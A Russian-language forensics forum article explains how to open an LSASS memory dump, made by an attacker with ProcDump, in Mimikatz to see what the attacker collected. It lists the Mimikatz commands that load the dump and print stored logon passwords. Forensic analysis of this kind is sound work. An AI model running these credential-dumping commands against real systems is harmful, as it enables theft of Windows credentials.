Статья ProcDump encryption *.dmp с помощью Mimikatz

Sunnych

Sunnych

Mod. Forensics
Gold Team
01.06.2018
223
1 027
Уже не впервой хакеры используют для разведки и сбора готовые программы как пример ProcDump.
Инструмент который будем использовать для раскрытия файла дампа - Mimikatz
У нас на форуме есть статья Ох уж этот Mimikatz

В нашем конкретном примере хакер использовал для сбора информации ProcDump и сделал дамп процеса lsass (сервис проверки подлинности локальной системы безопасности (англ. Local Security Authority Subsystem Service, LSASS) — часть операционной системы Windows, отвечающая за авторизацию локальных пользователей отдельного компьютера).

Начнем сразу с ошибки, если у Вас результат будет как на картинке ниже, то Вы просто не угадали с разрядностью Mimikatz (на PrtSc запущена версия х64)
29460
Запускаем cmd или PowerShell заранее я скопировал в папку с Mimikatz файл "lsass.dmp" который был создам хакером с помощью ProcDump,
далее указаны команды:
Код:
.\mimikatz.exe
privilege::debug
sekurlsa::minidump lsass.dmp
sekurlsa::logonPasswords full
Введенные команды
29462


Результат >> mimikatz # sekurlsa::logonPasswords full
29463

 
Мы в соцсетях: